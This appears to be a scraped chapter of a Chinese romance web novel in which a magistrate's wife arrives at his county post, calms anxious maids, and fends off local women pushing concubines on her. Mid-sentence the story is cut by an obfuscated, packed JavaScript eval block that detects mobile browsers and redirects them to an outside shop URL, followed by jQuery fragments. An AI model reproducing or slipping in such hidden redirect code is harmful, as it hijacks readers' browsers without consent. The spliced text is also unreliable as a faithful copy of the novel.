一直到戌正时分，厨房这边才得了吩咐，候了许久的厨房众人立即忙碌起来。


    待曲瑜珺将头发烘了半干，饭菜也已上桌，她走到桌边正欲坐下，无意间扫到旁边婢女的手，这是一双很粗糙的手，这并没有什特别，特别的是这双手缺了一根小指。


    曲瑜珺只扫了一眼，便匆匆移开，然而尽管只是匆匆一眼，那婢女已然显见地有些不安，悄悄拉了下自己的衣袖，试图将缺了小指的右手给藏起来。


    于彦怀向来不喜欢吃饭的时候旁边有人伺候，这些婢女将饭菜端上桌之后，也都如往常一般，自觉退了出去。


    待几位婢女都离开，房里只余曲瑜珺和于彦怀，曲瑜珺方问起方才那位缺了一指的婢女。


    “她的那根手指是被她丈夫给切掉的。”于彦怀解释。


    却原来这女子也是自嫁人之后，便常年被自己的丈夫拳打脚踢，除了那根断指，她身上还有许多被她丈夫殴打留下的伤痕。


    “那天我去到她所在的村子查访，恰好碰到她丈夫在打她。事后，我派常川过去悄悄找到她，问她想不想和离。”


    曲瑜珺点头，后面的事情不用问，她肯定想和离，并且最终和离成功，不然自己也不会再这里见到她了。


    只是曲瑜珺却不知道，与此同时，那女子正是满心忐忑。


    “今日出了茗榴姑娘这么一桩事，还正好被夫人碰到，夫人该不会一气之下把我们都给辞了吧？”


    能被常川选进府里伺候的都是命苦之人，又因女子谋生格外艰难些，所以府中下人以女子居多。


    这些女人皆是命途坎坷，如今好不容易得了这样一个避雨之所，自然不愿被赶走。


    “我们这样上了年纪的应该不至于惹了那位夫人的眼，你们这些年轻的……只怕是悬哦。”县老爷这样年轻，长得又好看，她的妻子怎么可能不将他看得紧？


    偏偏又恰被她撞见那茗榴姑娘混进府里充作婢女意图勾引县老爷，如此一来，府里这些年轻一些的婢女只怕都不会留了。


    “都怪那个女的，日子过得好好的，偏要混进府来做出这等不要脸的事。她也不想想，之前连张家都想将女儿送给老爷做妾呢，老爷都没收，会要她一个青楼出来的吗？”


    张家便是这牟涂县的地头蛇，牟涂县几乎一半的田地和大半的生意都掌控在张家的手里，前几任知县到了张家面前也不敢拿大。


    但于彦怀却跟前几任知县不同，他年轻，有锐气，自从上任后便跟张家周旋，扶持了几股新兴的小势力，逐渐将张家给蚕食，如今的张家已经大不如从前。他们也曾想着用家中女儿来拉拢于彦怀，毫无意外被于彦怀给拒绝了。


    事实上，除了张家之外，就连府城许多人家也愿意将家中的女儿送给于彦怀做妾。尽管这位于大人是被贬下来的，可他的老师是大名鼎鼎的裴延，内阁首辅和户部尚书都是他的师兄。其岳家也是京中有名的官宦世家，岳父仍担任着大理寺卿一职。


    有这样的背景在，他难不成还会真的在牟涂这样的穷乡僻壤呆一辈子？


    而且，就算没有这样的背景，他也是圣人钦点的探花郎，曾在短短数年内升任从三品的刑部侍郎，他的才华和能力都是显而易见的。虽今朝被贬做知县，将来未必不能重回权力之巅。


    拿一个女儿为自家博一个前程，实在再合算不过。是以，这一年来，许多人家都曾向于彦怀明示暗示过，但于彦怀无一例外都给拒绝了。


    而这些被常川选进来的婢女，进府的第一件事便是被告诫，不许对大人生出非分之想，更不许做出逾矩的行为。


    她们就是被怕被赶出去，所以自进府之后都很安分，谁知却在夫人到来的第一天被她撞上这样的事。


    “以前听常川管事说，大人很听夫人的话，若是夫人要赶我们走的话，大人也不会说什么。”


    所有人都沮丧着一张脸，若是被赶走，她们中的许多都不知该去往何处安身。


    翌日，于彦怀一早去往衙门处理公务，曲瑜珺则睡到日上三竿方醒来。


    几个婢女低着头将洗漱的东西送进来，站在一旁大气都不敢出一个，生恐哪里不小心惹到了这位夫人。


    曲瑜珺送云浮的手里接过湿帕子，奇怪地看向候在一旁的几个婢女，“你们很怕我？”


    几个婢女忙跪下，“没有，奴婢不敢。”


    曲瑜珺无奈，“起来吧，我又不吃人。”


    待洗漱罢，曲瑜珺坐下任由云浮帮自己梳妆，不由问一旁的婢女，“这里有什么有趣的去处？”


    婢女迟疑着开口：“奴婢也不甚清楚……只是过往的行商喜欢往北边的博岗去，那里有一个大集市。”


    云浮听了忙劝，“夫人切莫心急，昨天听常川说，这地方不太平，还是要做好准备再出门，至少要跟大人说一声。”


    曲瑜珺笑道：“我只是先问一问，景淙说了今日会早点下职，陪我出去走一走。”


    几个婢女在一旁瞧着，心说，这位夫人倒没有她们想象中那样吓人。


    一天过去了，预想中的辞退和训话都没来，大家仍是各司其职，夫人也只是在府中四处走了走，然后便呆在房中看书。


    傍晚时分，于彦怀回到家中，进门第一句话便问：“夫人呢？”


    主屋里燃着炭火，曲瑜珺窝在榻上，叫了云浮和几个婢女一起剪窗花。


    于彦怀站在门口看了半晌，直到曲瑜珺发现他，这才含笑走了进去。


    “想出去走走吗？”


    曲瑜珺立即放下手里的红纸和剪刀，“想！”


    说着便要起身下榻，却见于彦怀矮身蹲下，帮她穿好鞋袜，又对一旁的云浮道：“拿件厚实的披风来，外头冷。”


    待曲瑜珺和于彦怀离开之后，那几个婢女方如梦初醒，“难怪夫人不在意府里的婢女太多……”


    县老爷眼里除了夫人哪里还看得到其他人？


    而且，她们以前何曾见过县老爷这样温情脉脉的样子？县老爷这个人虽从不发脾气，却也并不是个


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16759078|184030||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    容易亲近的人。事实上，他给人的感觉是冰冷的、拒人于千里之外的。


    就像她们这些进到府中的婢女，一两个月都未必能同县老爷说上一句话。


    这一日，于彦怀带着曲瑜珺去了牟涂县最热闹的街市，二人在外头用过夕食之后方回到府中。


    而经过这一朝，许多人都知晓县老爷的夫人来了，消息传到府城，知府夫人很快下了帖子给曲瑜珺，邀她入府一叙。


    曲瑜珺将帖子看过之后，随手搁在书案上。于彦怀瞥了一眼，“你若是不愿意就不去。”


    “左右我也没去府城看过，去一趟也无妨。”


    从牟涂县坐马车到府城需得两个多时辰，曲瑜珺在天刚蒙蒙亮时就出发，等到了府城也已至正午时分。


    进到知府私邸的时候，是知府夫人身边的妈妈亲自相迎，进了大门，又走了许久方见到知府夫人，而在场除了知府夫人外，还有其他一些女眷，曲瑜珺暗暗猜测着她们的身份。


    那知府夫人见到曲瑜珺便上前握住她的手，显得很亲和，曲瑜珺却有些不适应。


    “于夫人从京城千里迢迢过来，一路上很辛苦吧。”


    “还好，路上风景不错。”


    “来，快坐。”


    一直到知府夫人开口引荐，曲瑜珺方才知晓这些女眷多是当地官员的妻女，还有一些是当地富商的家眷。


    这些人都知晓曲瑜珺是京城曲家的女儿，不管怎么说，既然人来了，先攀个交情再说。


    但曲瑜珺跟这诸位都是头次见面，实在没什么可聊，渐渐的，有人开始往孩子的话头上引。


    “于夫人跟于大人成亲也有两年了吧？是该有个孩子了。不然这男人在外头，拴不住。”


    另一人道：“于大人和于夫人都年轻，说不得这一回就能怀上了。”


    她们以为曲瑜珺这次过来就是为了怀孩子，有些甚至试探道：“其实怀不上也没什么，找个老实的妾室伺候着，等到怀上了，抱回身边养也是一样的。男人身边要是没有个女人服侍，难免要去外头偷腥，这心一野就收不回来了。”


    有些是真心这样想，有的则是另有目的了，“左右这男人总是要纳妾，还是要纳自己能收拢得住的，就算将来妾室生了孩子，那也都在自己掌控之中，翻不出天去。”


    说这话的人又悄悄对曲瑜珺引荐，“这是我娘家侄女，性子再柔顺也没有了。她娘是个好生养的，统共生了五个，若是能得夫人抬举，她将来只有万事顺从，您叫她往东，她绝不敢朝西的。”


    曲瑜珺看着这满室心思各异的人，只觉荒谬，女人终其一生都无法摆脱妻妻妾妾的事。


    “夫人，于大人来接于夫人了。”


    曲瑜珺如蒙大赦，忙起身告辞，“既如此，那我就不多留了，多谢夫人今日款待。”


    众人目送曲瑜珺出去，正看到于彦怀和知府大人一并站在门外说着些什么，待于夫人跨出门槛，于大人立即停下来，迎上前来握住于夫人的手，姿态十分亲昵。